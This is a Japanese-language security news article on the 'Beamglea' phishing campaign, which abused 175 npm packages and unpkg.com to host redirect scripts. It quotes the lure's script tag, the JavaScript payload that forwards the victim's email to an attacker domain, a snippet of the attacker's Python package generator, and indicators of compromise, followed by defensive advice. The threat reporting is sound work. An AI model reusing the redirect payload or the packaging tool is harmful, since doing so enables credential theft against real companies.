175個の悪意あるnpmパッケージが技術・エネルギー企業を標的に、26,000回ダウンロード

悪意あるnpmパッケージ「Beamglea」キャンペーンが発覚

Socketの脅威調査チームは、「Beamglea」と名付けられた大規模なフィッシングキャンペーンを発見しました。このキャンペーンでは、175個の悪意あるnpmパッケージが利用され、合計26,000回以上のダウンロードを記録しています。これらのパッケージは、被害者を認証情報窃取ページにリダイレクトするためのホスティングインフラとしてのみ機能します。

ランダムな名前のパッケージであるため、開発者が誤ってインストールする可能性は低いものの、ダウンロード数は、開示後にレジストリを調査したセキュリティ研究者、自動スキャナー、CDNプロバイダーによるものと見られています。標的となったのは、西ヨーロッパ、北欧諸国、アジア太平洋地域の135以上の産業、テクノロジー、エネルギー企業です。

攻撃の手口:npmレジストリとCDNの悪用

各悪意あるパッケージは、インストール時にコードを実行するのではなく、npmの公開レジストリとunpkg.comのCDNを悪用してリダイレクトスクリプトをホストします。攻撃者は、`redirect-[a-z0-9]{6}`というパターンで命名されたパッケージを公開した後、unpkg.comがHTTPS経由でアセットを自動的に提供することを利用します。

被害者は、購入注文書やプロジェクト文書を装ったHTMLルアー(おそらくフィッシングメール経由)を受け取ります。これには、以下のようなURLを指す埋め込みの`<script>`タグが含まれています。

<script src="https://unpkg.com/redirect-xs13nr @1.0.0/beamglea.js"></script>

被害者がHTMLファイルを開くと、以下のJavaScriptペイロードが実行されます。

function processAndRedirect() { var email = "victim @company.com"; var urlPath = "https://cfn.jackpotmastersdanske.com/TJImeEKD"; var finalUrl = urlPath + "#" + email; window.location.href = finalUrl; } processAndRedirect();

被害者のメールアドレスをURLフラグメントとして追加することで、攻撃者は標準のサーバーログにこのデータが記録されないようにしています。ターゲットのメールアドレスはクライアント側で抽出され、ログインフォームに事前入力されることで、フィッシングページの正当性を高めています。Microsoft OAuthフィッシングページが、`cfn.jackpotmastersdanske[.]com`で被害者のメールアドレスを事前入力して表示されることが確認されています。

自動化されたフィッシングインフラ

分析により、パッケージの生成と公開を効率化するために、Pythonで書かれPyInstallerでコンパイルされた完全に自動化されたツールが使用されていることが明らかになりました。コアロジックはテンプレートベースのアプローチを採用しています。

def generate_random_package_name(prefix="redirect-"): suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) return prefix + suffix template_js = load_template('beamglea_template.js') final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url) with open("beamglea.js", "w", encoding="utf-8") as f: f.write(final_js)

このスクリプトはnpmに認証し、被害者固有のデータをJavaScriptテンプレートに注入し、一意の名前のパッケージを公開し、対応するHTMLルアーを生成します。175個のパッケージ全体で630以上のHTMLファイルが特定されており、それぞれにキャンペーン識別子としてメタタグ`nb830r6x`が埋め込まれています。攻撃者は、`cfn.jackpotmastersdanske.com`や`musicboxcr.com`を含む7つのフィッシングドメインを登録しており、一部はキャンペーンのバリアントやセッション識別子を指定するためにBase64エンコードされたURLパラメータを使用しています。

防御側への推奨事項

Beamgleaキャンペーンは、攻撃者が正当なインフラをわずかなコストで高い回復力を持って武器化できることを示しています。防御側は、これらのIOC(侵害指標)の検出をアクティブな侵害として扱うべきです。

即座に取るべき行動は以下の通りです。

  • 侵害された可能性のあるアカウントのパスワードを強制的にリセットし、特にMFAが有効になっていないOffice 365アカウント(`o365_1_nom`)に対しては多要素認証を有効にする
  • メールゲートウェイは、スタンドアロンのHTMLファイルの正当な使用が最小限であることを考慮し、HTML添付ファイルを隔離または削除する。
  • ネットワーク監視は、`redirect-*/beamglea.js`パターンに一致するunpkg.comへのリクエストや、7つの悪意あるドメインへのクエリをフラグ付けする。
  • エンドポイント検出ルールは、unpkg.comスクリプトをロードするローカルHTMLファイル、およびURLにメールフラグメントを含むナビゲーションをブラウザ履歴分析で警告する。

長期的な緩和策としては、内部アセットに対する公開npmレジストリの使用を制限するか、信頼できるパッケージの許可リストを実装することが挙げられます。ウェブコンテンツフィルターは、開発者のワークフローとのバランスを取りながら、未知のCDN参照をブロックすべきです。この手法が進化するにつれて(代替CDNへの移行、ドメイン生成アルゴリズムの追加、ペイロードの難読化など)、組織は警戒を怠らず、オープンソースインフラを悪用する攻撃者に対抗するために検出ルールと脅威インテリジェンスを継続的に更新する必要があります。


元記事: https://gbhackers.com/npm-packages/